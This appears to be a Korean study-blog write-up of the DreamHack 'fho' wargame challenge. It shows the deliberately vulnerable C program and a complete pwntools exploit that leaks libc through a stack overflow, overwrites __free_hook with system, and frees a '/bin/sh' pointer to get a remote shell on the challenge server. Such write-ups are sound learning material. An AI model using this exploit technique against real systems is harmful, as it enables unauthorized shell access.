CIDY
[System_Hacking] stage8_문제풀이(fho) 본문
진짜 서버랑 로컬 환경다른거 너무 화난다... 조만간 꼭 도커파일로 환경구축하는거 배워야지
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
공부할 때 썼던 예제문제랑 같다.
addr -> __free_hook
value -> system
addr2 -> /bin/sh
from pwn import *
p = remote("host3.dreamhack.games", 23038)
libc = ELF("./libc-2.27.so")
p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)
start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00"))
#print(hex(start))
p.recvn(1)
libc_base = start - 231 - libc.sym['__libc_start_main']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
binsh = libc_base + next(libc.search(b"/bin/sh"))
p.recvuntil(b"To write: ")
p.sendline(str(free_hook))
p.recvuntil(b"With: ")
p.sendline(str(system))
p.recvuntil(b"To free: ")
p.sendline(str(binsh))
p.interactive()
음 주의할 점(?)은 scanf에 보낼 때 str해줘야 한다는 것 정도. read처럼 직빵으로 받는 거 아니고 포맷 지정해서 받으니까. 항상 이거 습관적으로 패킹해주는데 그럼 쟤가 아마 정상적으로 못 받을 거다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage8_문제풀이(hook) (0) | 2022.07.03 |
---|---|
[System_Hacking] stage8_문제풀이(oneshot) (0) | 2022.07.03 |
[System_Hacking] stage8_Hook Overwrite (0) | 2022.07.03 |
[System_Hacking] stage7_문제풀이(basic_rop_x86) (0) | 2022.07.02 |
[System_Hacking] stage7_문제풀이(basic_rop_x64) (0) | 2022.07.02 |